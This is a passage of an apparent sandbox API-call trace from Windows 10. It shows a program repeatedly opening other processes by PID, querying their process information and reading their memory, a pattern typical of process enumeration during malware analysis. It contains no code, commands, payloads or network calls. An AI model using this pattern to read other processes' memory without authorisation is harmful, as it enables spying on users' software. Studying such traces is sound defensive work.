lpBaseAddress=0x403928, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0312.617] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0312.617] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0312.618] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x285020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0312.618] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4032e0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0312.618] malloc (_Size=0x64) returned 0xeb6620 [0312.618] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403968, lpBuffer=0xeb6620, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6620*, lpNumberOfBytesRead=0x0) returned 1 [0312.619] free (_Block=0xeb6620) [0312.619] CloseHandle (hObject=0xa9c) returned 1 [0312.620] _ui64tow_s (in: _Value=0x340, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="832") returned 0x0 [0312.620] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="832") returned 3 [0312.620] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0312.620] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0312.621] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x340) returned 0xa9c [0312.621] GetLastError () returned 0x0 [0312.621] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0312.621] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c5018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0312.621] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0312.621] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d50, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0312.621] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039b8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0312.622] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0312.622] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0312.622] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c5020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0312.622] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403370, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0312.622] malloc (_Size=0x5a) returned 0xeb63f0 [0312.622] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039f8, lpBuffer=0xeb63f0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb63f0*, lpNumberOfBytesRead=0x0) returned 1 [0312.623] free (_Block=0xeb63f0) [0312.624] CloseHandle (hObject=0xa9c) returned 1 [0312.624] _ui64tow_s (in: _Value=0x398, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="920") returned 0x0 [0312.624] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="920") returned 3 [0312.625] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0312.625] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0312.626] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x398) returned 0xa9c [0312.626] GetLastError () returned 0x0 [0312.626] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0312.626] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2cb018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0312.626] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0312.627] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e2260, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0312.627] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e1f38, lpBuffer=0x5ec5a0, nSize=0x38, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0312.627] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0312.628] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0312.628] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2cb020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0312.628] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e18f0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0312.628] malloc (_Size=0x16) returned 0xec96a0 [0312.628] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e1f70, lpBuffer=0xec96a0, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec96a0*, lpNumberOfBytesRead=0x0) returned 1 [0312.629] free (_Block=0xec96a0) [0312.629] CloseHandle (hObject=0xa9c) returned 1 [0312.629] _ui64tow_s (in: _Value=0x10c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="268") returned 0x0 [0312.630] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="268") returned 3 [0312.630] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0312.630] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0312.631] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10c) returned 0xa9c [0312.631] GetLastError () returned 0x0 [0312.631] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0312.631] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x224018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0312.632] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0312.632] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d60, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0312.632] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0312.633] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0312.633] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0312.633] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x224020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0312.633] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0312.633] malloc (_Size=0x7a) returned 0xe878b0 [0312.633] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xe878b0, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe878b0*, lpNumberOfBytesRead=0x0) returned 1 [0312.634] free (_Block=0xe878b0) [0312.635] CloseHandle (hObject=0xa9c) returned 1 [0312.635] _ui64tow_s (in: _Value=0x8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="8") returned 0x0 [0312.636] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="8") returned 1 [0312.636] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0312.636] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0312.637] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8) returned 0xa9c [0312.637] GetLastError () returned 0x0 [0312.637] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0312.637] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x30b018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0312.637] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0312.637] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403cc0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0312.637] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403928, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0312.637] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0312.638] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0312.638] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x30b020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0312.638] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4032e0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0312.638] malloc (_Size=0x5e) returned 0xeb62a0 [0312.638] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403968, lpBuffer=0xeb62a0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb62a0*, lpNumberOfBytesRead=0x0) returned 1 [0312.639] free (_Block=0xeb62a0) [0312.639] CloseHandle (hObject=0xa9c) returned 1 [0312.640] _ui64tow_s (in: _Value=0x184, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="388") returned 0x0 [0312.640] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="388") returned 3 [0312.640] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0312.640] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0312.641] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x184) returned 0xa9c [0312.641] GetLastError () returned 0x0 [0312.641] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0312.641] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x28d018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0312.641] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0312.641] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d70, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0312.641] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0312.642] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0312.642] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0312.642] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x28d020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0312.642] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0312.642] malloc (_Size=0x8a) returned 0xec73e0 [0312.642] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xec73e0, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec73e0*, lpNumberOfBytesRead=0x0) returned 1 [0312.643] free (_Block=0xec73e0) [0312.643] CloseHandle (hObject=0xa9c) returned 1 [0312.644] _ui64tow_s (in: _Value=0x204, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="516") returned 0x0 [0312.644] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="516") returned 3 [0312.644] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0312.644] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0312.645] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x204) returned 0xa9c [0312.645] GetLastError () returned 0x0 [0312.645] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0312.645] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c3018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0312.645] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0312.645] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403cf0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0312.646] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403928, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0312.646] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0312.646] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0312.646] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c3020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0312.646] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4032e0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0312.647] malloc (_Size=0x88) returned 0xe88000 [0312.647] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403968, lpBuffer=0xe88000, nSize=0x86, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe88000*, lpNumberOfBytesRead=0x0) returned 1 [0312.648] free (_Block=0xe88000) [0312.648] CloseHandle (hObject=0xa9c) returned 1 [0312.648] _ui64tow_s (in: _Value=0x404, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1028") returned 0x0 [0312.648] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1028") returned 4 [0312.648] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0312.648] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0312.649] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x404) returned 0xa9c [0312.649] GetLastError () returned 0x0 [0312.649] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0312.649] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x291018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0312.650] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0312.650] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d50, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0312.650] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0312.650] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0312.650] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0312.650] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x291020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0312.650] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0312.651] malloc (_Size=0x68) returned 0xeb6540 [0312.651] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xeb6540, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6540*, lpNumberOfBytesRead=0x0) returned 1 [0312.651] free (_Block=0xeb6540) [0312.651] CloseHandle (hObject=0xa9c) returned 1 [0312.652] _ui64tow_s (in: _Value=0x4e4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1252") returned 0x0 [0312.652] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1252") returned 4 [0312.652] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0312.652] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0312.653] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4e4) returned 0xa9c [0312.653] GetLastError () returned 0x0 [0312.653] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0312.653] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x36c018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0312.670] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0312.671] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d60, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0312.671] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039b8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: 